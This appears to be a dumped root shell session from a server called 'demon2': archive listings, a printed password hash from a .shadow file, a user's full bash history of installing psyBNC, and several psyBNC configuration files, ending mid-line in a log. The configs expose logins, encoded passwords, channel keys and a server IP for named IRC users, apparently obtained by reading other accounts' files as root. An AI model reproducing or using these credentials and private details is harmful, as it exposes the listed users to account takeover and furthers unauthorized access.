-rw-r----- 1 admin excodeirc 113123361 Dec 30 16:41 user.admin.excodeirc.tar.gz
-rw-r----- 1 admin exploiterc 273460363 Dec 18 21:43 user.admin.exploiterc.tar.gz
-rw-r----- 1 admin felosii 202367 Dec 18 21:43 user.admin.felosii.tar.gz
-rw-r----- 1 admin g00ns83 1922138751 Dec 30 16:44 user.admin.g00ns83.tar.gz
-rw-r----- 1 admin g00nsts395 5616214 Dec 30 16:44 user.admin.g00nsts395.tar.gz
-rw-r----- 1 admin grumpy 207859624 Dec 30 16:44 user.admin.grumpy.tar.gz
-rw-r----- 1 admin 516 988823 Sep 14 2007 user.admin.hackersd.tar.gz
-rw-r----- 1 admin hackrad 371198425 Dec 30 16:45 user.admin.hackrad.tar.gz
-rw-r----- 1 admin 517 2334763 Dec 18 21:48 user.admin.high.tar.gz
-rw-r----- 1 admin illmob 593721185 Dec 30 16:46 user.admin.illmob.tar.gz
-rw-r----- 1 admin 519 104101941 Dec 18 21:49 user.admin.leetmach.tar.gz
-rw-r----- 1 admin mycorp 147245 Dec 30 16:46 user.admin.mycorp.tar.gz
-rw-r----- 1 admin partyvan 327144959 Dec 30 16:46 user.admin.partyvan.tar.gz
-rw-r----- 1 admin pingyill 30825336 Dec 30 16:47 user.admin.pingyill.tar.gz
-rw-r----- 1 admin ragedns 189555066 Dec 30 16:47 user.admin.ragedns.tar.gz
-rw-r----- 1 admin rageserver 255007 Dec 30 16:47 user.admin.rageserver.tar.gz
-rw-r----- 1 admin robo 290786 Dec 30 16:47 user.admin.robo.tar.gz
-rw-r----- 1 admin shoutcas 385370416 Dec 30 16:48 user.admin.shoutcas.tar.gz
-rw-r----- 1 admin sn00g3s 269230557 Dec 30 16:49 user.admin.sn00g3s.tar.gz
-rw-r----- 1 admin 524 1468386072 Sep 14 2007 user.admin.vg114.tar.gz
-rw-r----- 1 admin void 14594 Dec 30 16:49 user.admin.void.tar.gz
-rw-r----- 1 admin 548 75815612 Sep 14 2007 user.admin.yourgift.tar.gz
-rw-r----- 1 admin 551 626926 Sep 14 2007 user.brinkhos.bayw.tar.gz
-rw-r----- 1 admin 555 30546 Sep 14 2007 user.burn.kid652.tar.gz
-rw-r----- 1 admin 553 27271 Sep 14 2007 user.burn.lucasl123.tar.gz
-rw-r----- 1 admin 554 24648 Sep 14 2007 user.burn.rsuchow.tar.gz
-rw-r----- 1 admin 533 308158933 Sep 14 2007 user.bwhost.assault.tar.gz
-rw-r----- 1 admin 526 4716486 Sep 14 2007 user.bwhost.ballardt.tar.gz
-rw-r----- 1 admin 527 175245944 Sep 14 2007 user.bwhost.darkstorm.tar.gz
-rw-r----- 1 admin 528 597461 Sep 14 2007 user.bwhost.mffclan.tar.gz
-rw-r----- 1 admin 529 540182805 Sep 14 2007 user.bwhost.squad.tar.gz
-rw-r----- 1 admin 530 903208 Sep 14 2007 user.bwhost.tnpreacher.tar.gz
-rw-r----- 1 admin 531 71751894 Sep 14 2007 user.bwhost.xlostboyx.tar.gz
-rw-r----- 1 admin 550 8486403 Sep 14 2007 user.felosi.prox.tar.gz
[root@demon2 admin]# ls -al backups
total 8
drwx------ 2 admin admin 4096 Aug 1 2007 .
drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..
[root@demon2 admin]# cat .shadow
$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/
[root@demon2 admin]# cd ../bnc
[root@demon2 bnc]# ls -al
total 364
drwx--x--x 6 bnc bnc 4096 Aug 8 2007 .
drwx--x--x 50 root root 4096 Mar 27 16:19 ..
-rw------- 1 bnc bnc 6018 Apr 19 20:31 .bash_history
-rw-r--r-- 1 bnc bnc 24 Aug 3 2007 .bash_logout
-rw-r--r-- 1 bnc bnc 176 Aug 3 2007 .bash_profile
-rw-r--r-- 1 bnc bnc 124 Aug 3 2007 .bashrc
drwx--x--x 3 bnc bnc 4096 Aug 3 2007 domains
drwxrwx--- 3 bnc mail 4096 Aug 3 2007 imap
drwx------ 2 bnc bnc 4096 Aug 3 2007 mail
drwxr-xr-x 12 bnc bnc 4096 Apr 20 23:41 psybnc
-rw-rw-r-- 1 bnc bnc 311715 Jun 4 2005 psyBNC-2.3.2-7.tar.gz
lrwxrwxrwx 1 bnc bnc 35 Aug 3 2007 public_html -> ./domains/bnc.g00ns.net/public_html
-rw-r----- 1 bnc mail 34 Aug 3 2007 .shadow
[root@demon2 bnc]# cat .bash_history
cat
ls
ls public_html
cd public_html/
ls
nano index.html
cd $home
ls
mkdir bnc1
cd bnc1
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
cd psybnc
make menuconfig
./psybnc
./Psybnc
ls
make
./psybnc
./psybnc stop
ps -aux
kill 26364
ls
ps -aux
kill 26364
ls
ps -aux
kill 26364
ps -aux
ls
nano psybnc.conf
./psybnc
ps -aux
w
who
users
kill 26364
kill 26364
kill -i 26364
kill -9 26364
ps -au
ps -aux
cd $home
ls
rm -rf bnc1
users
wget http://www.psybnc.net/psyBNC-2.3.2-7.tar.gz
tar zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc
ls -al
make menuconfig
make menuconfig
make
./psybnc
ps =aux
ps
ps -a
ps -A
kill -9 3365
kill 3365
cd psybnc/
ls
pico psybnc.conf
text psybnc.conf
psybnc.conf
nano psybnc.conf
nano psybnc.conf
./[sybnc
./psybnc
w
ls
cd psybnc
ls
nano psybnc.conf
nano psybnc.conf
makesalt
./makesalt
cd tools
ls
cd ..
ls
cd scripts
ls
cd example/
ls
cd ..
cd ..
ls
cd help
ls
cat ADDUSER.TXT
cd ..
ls
nano psybnc.conf
ls
cd log
ls
cat psybnc.log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cd ..
ls
nano psybnc.conf
nano psybnc.conf
cd log
cat log
cat psybnc.log
cat psybnc.log
cat psybnc.log
cd ..
ls
cd ..
ls
ps -aux
kill 4414
ps -aux
kill 4414
ps -aux
ls
rm -rf psybnc
ps -aux
kill 4414
ps -aux
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc
ls
make menuconfig
ls
make
ls
./psybnc
nano psybnc.conf
ps -aux
ps -aux
ls
rm -rf psybnc.pid
kill 1463
ps -aux
ls
kill 1463
ls
ps -aux
./psybnc restart
./psybnc psybnc.conf
ps -aux
kill 1463
ps -aux
ls
killall 1463
kill 1463
killall psybnc
ps -aux
kill -9 1463
ps -aux
./psybnc
ps -aux
kill -9 2455
ps -aux
nano psybnc.conf
nano psybnc.conf
./psybnc
cd log
nano log
ls
cat psybnc.log
cd ..
ls
nano psybnc.conf
cd ..
ls
rm -rf psybnc
tar zxvf psyBNC-2.3.2-7.tar.gz
ps -aux
kill -9 2558
cd psybnc
ls
make
ps -aux
nano psybnc.conf
nano psybnc.conf
./psybnc
cd psybnc
nano psybnc.conf
cp psybnc.conf psybnc.1.conf
ls
cd psybnc
ls
cp psybnc.conf psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
echo "" > psybnc.1.conf
nano psybnc.1.conf
./psybnc psybnc.1.conf
cd psybnc
ls
nano psybncchk
crontab -e
crontab -e
crontab -e
pwd
crontab -e
nano psybncchk
nano psybncchk
nano psybncchk
ps -aux
ps -aux
cd psybnc
cd log
ls
cat psybnc.log
cat psybnc.log
ls
cat USER1.TRL
cat USER2.TRL
cat USER3.LOG
cd ..
ls
cat psybnc.conf
cd log
cat psybnc.log
ls
cd ..
ls
nano psybnc.conf
nano psybnc.conf
nano psybnc.1.conf
nano psybnc.conf
cd tools
ls
cd ..
ls
cd key
ls
cd ..
ls
nano psybnc.1.conf
cd log
ls
cat psybnc.log
cd ..
ls
ps -aux
kill -9 3514
ps -aux
./psybnc psybnc.conf
ls
cd psybnc
ls
nano psybnc.1.conf
nano psybnc.1.conf
grep -rn 'version' *
ps -aux
nano psybnc.1.conf
nano psybnc.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
nano psybnc.1.conf
exit
crontab
crontab -h
crontab -l
ls
cd psybnc
ls
cp psybnc.1.conf psybnc.gso.conf
nano psybnc.gso.conf
nano psybnc.conf
nano psybnc.conf
nano psybnc.gso.conf
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
cat psybnc.conf
cd psybnc/
ls
nano psybnc.gso.conf
nano psybnc.conf
ls
w
who
users
ls psybnc
ls domains
ls public_html/
ps -aux
uptime
uname -a
ls
cd psybnc/
ls
mkdir probebnc
ls
cd probebnc
ls
ls
wget http://psybnc.info/download/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
./install
./setup
ls menuconf/
ls
cd $user
ls
cd psybnc
ls
rm -rf probebnc/
ps -aux
mkdir probe
ls
cd probe
ls
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -zxvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
./install
./setup
./psybncchk
cd $user
ls
cd psybnc/
ls
rm -rf probe
ls
mkdir probe
cd probe
ls
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
tar -xzvf psyBNC2.3.1.tar.gz
ls
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
nano config.h
make menuconfig
make
make menuconf
make menuconfig
ls
nano psybnc.conf
rm *
ls
rm -rf *
wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
ls
cd $user
ls
cd psybnc/
ls
cd probe/
ls
rm -rf psybnc/
ls
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
nano config.h
make menuconfig
make
ls
cd $user/psybnc/probe
cd $user
ls
cd psybnc/
ls
cd probe/
ls
rm -rf psybnc/
tar -xzvf psyBNC-2.3.2-7.tar.gz
ls
cd psybnc/
ls
make menuconfig
make
ls
./psybnc
cd
ps ax
kill -9 9128 12320 24226 28825
cd psybnc
ps ax
./psybnc psybnc.1.conf
./psybnc
./psybnc psybnc.gso.conf
cd
ls
exit
ls
cd psybnc
ls
head psybnc.1.conf
head psybnc.gso.conf
./psybnc psybnc.gso.conf
ps -aiux
ps -aux
ps -aux
kill 21054
kill -9 21054
./psybnc psybnc.gso.conf
ls
cd psy
cd psybnc/
ls
cd probe/
ls
cd psybnc/
ls
./psybnc
ps -aux
ls
nano psybnc.conf
nano psybnc.conf
nano psybnc.conf.old
nano config.h
nano psybnc.conf
nano log/psybnc.log
cd $user
ls
cd psybnc/
ls
cd probe
ls
rm -rf psybnc/
tar xzf psyBNC-2.3.2-7.tar.gz
ls
cd psy
cd psybnc
ls
./psybncchk
nano config.h
ls
nano REa
nano README
make menuconfig
make
ls
./psybnc
ps ax
kill 1536
ls
ps ax
kill 9672
ps ax
kill 9672
ps axc
ps ax
ls
./psybnc psybnc.gso.conf
ps ax
kill 1536
ps ax
kill -s 1536
kill -9 9672
ps ax
kill -9 1536
ps ax
ls
./psybnc psybnc.gso.conf
ps ax
ps ax
kill -9 21041
ps ax
kill -9 21047
ps ax
kill -9 24942
ps ax
ls
./psybnc psybnc.1.conf
ps ax
ls
./psybnc psybnc.gso.conf
ps ax
kill -9 ./psybnc psybnc.1.conf
kill -9 25484
kill -9 25512
ps ax
ls
./psybnc
cd help
ls
cd ..
ls
ps ax
./psybnc psybnc.1.conf
./psybnc
./psybnc psybnc.gso.conf
ps ax
ls
cd psybnc
ls
head psybnc.conf
head psybnc.1.conf
ls
cat psybnc.gso.conf
head psybnc.gso.conf
psybnc psybnc.gso.conf
ls
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
head psybnc.gso.con
head psybnc.gso.conf
psybnc psybnc.gso.conf
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
head psybnc.gso.conf
psybnc psybnc.gso.conf
./psybnc psybnc.gso.conf
ps -aux
kill -9 17551
ps -aux
./psybnc psybnc.gso.conf
ps -aux
ps -aux
who
last
ps -aux
head psybnc.gso.conf
cd psybnc
head psybnc.gso.conf
ls
head psybnc.conf
netstat | grep listen
netstat
kill -9 31328
./psybnc psybnc.gso.conf
ls
cd psybnc
ls
cat psybnc.gso.conf
ls
cd psybnc/
ls
cat psybnc.gso.conf
[root@demon2 bnc]# cd psybnc
[root@demon2 psybnc]# ls
CHANGES log psybnc psybnc.gso.conf.old targets.mak
config.h Makefile psybnc.1.conf psybnc.pid TODO
COPYING makefile.out psybnc.1.conf.old README tools
FAQ makesalt psybncchk salt.h
help menuconf psybnc.conf SCRIPTING
key motd psybnc.conf.old scripts
lang probe psybnc.gso.conf src
[root@demon2 psybnc]# cat psybnc.1.conf
PSYBNC.SYSTEM.PORT1=11474
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=FiSh
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=g00ns.net
USER1.USER.LEAVEMSG=afk
USER1.USER.AWAYNICK=FiSh|bnc
USER1.USER.NICK=FiSh
USER1.SERVERS.SERVER1=S=irc.g00ns.net
USER1.SERVERS.PORT1=6601
USER1.CHANNELS.ENTRY3=#13337
USER1.CHANNELS.ENTRY6=#help
USER1.CHANNELS.ENTRY8=#notgay
USER1.CHANNELS.ENTRY1=#g00nspriv8
USER1.CHANNELS.ENTRY4=#batcave
USER1.CHANNELS.KEY4=+1I271$28262u2A2U2U
USER1.CHANNELS.ENTRY7=#exploitercode
USER1.CHANNELS.ENTRY12=#s3x
USER1.CHANNELS.KEY12=+1W202824
USER1.CHANNELS.ENTRY5=#g00ns
USER1.CHANNELS.ENTRY0=#illmob
USER1.CHANNELS.ENTRY2=#private
USER1.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A
USER1.CHANNELS.ENTRY9=#exopers
USER1.CHANNELS.ENTRY10=#irclogs
USER1.CHANNELS.KEY1=+1G2i2c2j2j2p2@
USER2.USER.LOGIN=sCuZz
USER2.USER.USER=sCuZz
USER2.USER.PASS=='R1n1b`W1B031K`=`O
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.VHOST=g00ns.net
USER2.USER.NICK=sCuZz
USER2.SERVERS.SERVER1=irc.g00ns.net
USER2.SERVERS.PORT1=6667
USER2.CHANNELS.ENTRY2=#private
USER2.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A
USER2.CHANNELS.ENTRY1=#batcave
USER2.CHANNELS.KEY1=+1I271$28262u2A2U2U
USER2.CHANNELS.ENTRY0=#g00ns
USER3.USER.LOGIN=giovanni
USER3.USER.USER=katalyst
USER3.USER.PASS=='E13`h0v0V`H1u0A'f
USER3.USER.RIGHTS=0
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.VHOST=g00ns.net
USER3.USER.NICK=giovanni
USER3.SERVERS.SERVER1=S=irc.g00ns.net
USER3.SERVERS.PORT1=6601
USER3.CHANNELS.ENTRY3=#seminar
USER3.CHANNELS.ENTRY0=#g00ns
USER3.CHANNELS.ENTRY1=#illmob
USER3.CHANNELS.ENTRY4=#13337
USER1.LGI.ENTRY1=FiSh;#private
USER1.LGI.ENTRY0=FiSh;#g00ns
USER4.USER.LOGIN=sick
USER4.USER.USER=sick
USER4.USER.PASS=='t'L0Q'F'q'b16'o`a
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=1
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=g00ns.net
USER4.USER.NICK=sick
USER4.SERVERS.SERVER1=addserver s=irc.g00ns.net
USER4.SERVERS.PORT2=6661
USER4.SERVERS.SERVER2=addserver irc.g00ns.net
USER4.SERVERS.PORT3=6601
USER4.SERVERS.SERVER3=addserver addserver S=irc.g00ns.net
USER4.SERVERS.PORT4=6601
USER4.SERVERS.SERVER4=addserver S=irc.g00ns.net
USER4.SERVERS.PORT5=6601
USER4.SERVERS.SERVER5=s=irc.g00ns.net
USER4.SERVERS.PORT6=6601
USER4.SERVERS.SERVER6=s=irc.g00ns.net
USER4.SERVERS.PORT1=6601
[root@demon2 psybnc]# cat psybnc.conf
PSYBNC.SYSTEM.PORT1=11473
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=FiSh
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=1
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=72.20.26.209
USER1.USER.NICK=_FiSh
USER2.USER.LOGIN=FiSh
USER2.USER.USER=FiSh
USER2.USER.PASS==0v0'01'T'q0='l`O'f
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.NICK=FiSh
USER3.USER.LOGIN=pr0be
USER3.USER.USER=pr0be
USER3.USER.PASS==1G0$0u10`N`C0B`X'`
USER3.USER.RIGHTS=0
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.VHOST=g00ns.net
USER3.USER.AWAY=|a|f|k
USER3.USER.NICK=pr0be
USER3.SERVERS.SERVER1=irc.g00ns.net
USER3.SERVERS.PORT2=6667
USER3.SERVERS.SERVER2=irc.g00ns.net
USER3.SERVERS.PORT3=6601
USER3.SERVERS.SERVER3=S=irc.g00ns.net
USER3.SERVERS.PORT1=6667
USER1.SERVERS.SERVER1=S=irc.g00ns.net
USER1.SERVERS.PORT1=6601
USER1.CHANNELS.ENTRY1=#g00ns
USER1.CHANNELS.ENTRY2=#13337
USER1.CHANNELS.ENTRY3=#40z
USER1.CHANNELS.KEY3=+1H2i262j2c2s2R2Y
USER1.CHANNELS.ENTRY4=#private
USER1.CHANNELS.KEY4=+1H2i25202i2j2A2M2E3125
USER1.CHANNELS.ENTRY5=#seminar
USER1.CHANNELS.ENTRY7=#help
USER4.USER.LOGIN=SyNiCaL
USER4.USER.USER=SyNiCaL
USER4.USER.PASS==0G'11d`h1G121n0G`'
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=1
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=g00ns.net
USER4.USER.NICK=SyNiCaL
USER3.CHANNELS.ENTRY2=#40z
USER3.CHANNELS.KEY2=+1H2i262j2c2s2R2Y
USER3.CHANNELS.ENTRY5=#wboard
USER3.CHANNELS.ENTRY7=#exploitercode
USER3.CHANNELS.ENTRY3=#vBTEAM
USER3.CHANNELS.ENTRY6=#BlackIRC
USER3.CHANNELS.ENTRY8=#slavehack
USER4.SERVERS.SERVER1=irc.g00ns.net
USER4.SERVERS.PORT1=6667
USER4.CHANNELS.ENTRY3=#sizzurp
USER4.CHANNELS.ENTRY4=#13337
[root@demon2 psybnc]# cat psybnc.gso.conf
PSYBNC.SYSTEM.PORT1=11475
PSYBNC.SYSTEM.HOST1=72.20.26.209
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=admin
USER1.USER.USER=Genocide
USER1.USER.PASS==1h1K'Z`U`B'810'='T
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=72.20.26.209
USER1.USER.LEAVEMSG=afk
USER1.USER.NICK=Genocide
USER1.SERVERS.PORT2=6667
USER1.SERVERS.PORT1=7001
USER1.SERVERS.SERVER1=S=irc.evilcoders.net
USER1.SERVERS.SERVER2=irc.g00ns.net
USER2.USER.LOGIN=sCuZz
USER2.USER.USER=sCuZz
USER2.USER.PASS=='q0N1q070I`I`O'W'y
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.VHOST=g00ns.net
USER2.USER.NICK=sCuZz
USER1.CHANNELS.ENTRY1=#s3x
USER1.CHANNELS.KEY1=+1W202824
USER1.CHANNELS.ENTRY3=#batcave
USER1.CHANNELS.KEY3=+1I271$28262u2A2U2U
USER1.CHANNELS.ENTRY7=#exopers
USER1.CHANNELS.ENTRY4=#notgay
USER1.CHANNELS.ENTRY9=#illmob
USER1.CHANNELS.KEY9=+1e2a1X2f2f2l1P2y2R
USER1.CHANNELS.ENTRY11=#t3st
USER1.CHANNELS.ENTRY10=#hightechhost
USER1.CHANNELS.ENTRY6=#420
USER1.CHANNELS.ENTRY2=#spk
USER1.CHANNELS.ENTRY0=#g00ns
USER2.SERVERS.SERVER1=irc.partyvan.fm
USER2.SERVERS.PORT1=6667
USER2.CHANNELS.ENTRY1=#420
USER2.CHANNELS.ENTRY2=#private
USER2.CHANNELS.KEY2=+1S282026242B2U2Q2F362@3B
USER2.CHANNELS.ENTRY3=#batcave
USER2.CHANNELS.ENTRY0=#g00ns
[root@demon2 psybnc]# cd log
[root@demon2 log]# ls
INFO USER1.LOG.old USER2.LOG.old USER3.TRL USER4.TRL
psybnc.log USER1.TRL USER2.TRL USER4.LOG USER5.TRL
psybnc.log.old USER2.LOG USER3.LOG.old USER4.LOG.old USER6.TRL
[root@demon2 log]# cat psybnc.log
Sat Apr 19 15:06:18 :Listener created :72.20.26.209 port 11475
Sat Apr 19 15:06:18 :psyBNC2.3.2-7-cBtITLdDMSNpE started (PID :14297)
Sat Apr 19 15:06:18 :SSL initialized
Sat Apr 19 15:06:18 :Loading all Users..
Sat Apr 19 15:06:23 :connect from 78.129.174.155
Sat Apr 19 15:06:23 :User admin () trying irc.evilcoders.net port 7001 (72.20.26.209).
Sat Apr 19 15:06:23 :User admin () connected to S=irc.evilcoders.net:7001 (72.20.26.209)
Sat Apr 19 15:06:23 :User admin got disconnected from server.
Sat Apr 19 15:06:31 :User ad
